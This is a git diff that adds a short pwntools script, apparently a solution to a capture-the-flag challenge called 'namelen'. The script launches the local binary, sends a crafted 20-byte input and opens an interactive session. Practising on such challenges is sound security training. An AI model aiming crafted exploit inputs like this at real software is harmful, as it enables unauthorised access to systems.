diff --git a/random_challs/namelen/a.py b/random_challs/namelen/a.py new file mode 100644 index 0000000..0bae066 --- /dev/null +++ b/random_challs/namelen/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./namelen", checksec=False) +r = process() + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*7 +buf += b"i" +buf += b"A"*(20-len(buf)) +s(buf) + +r.interactive() \ No newline at end of file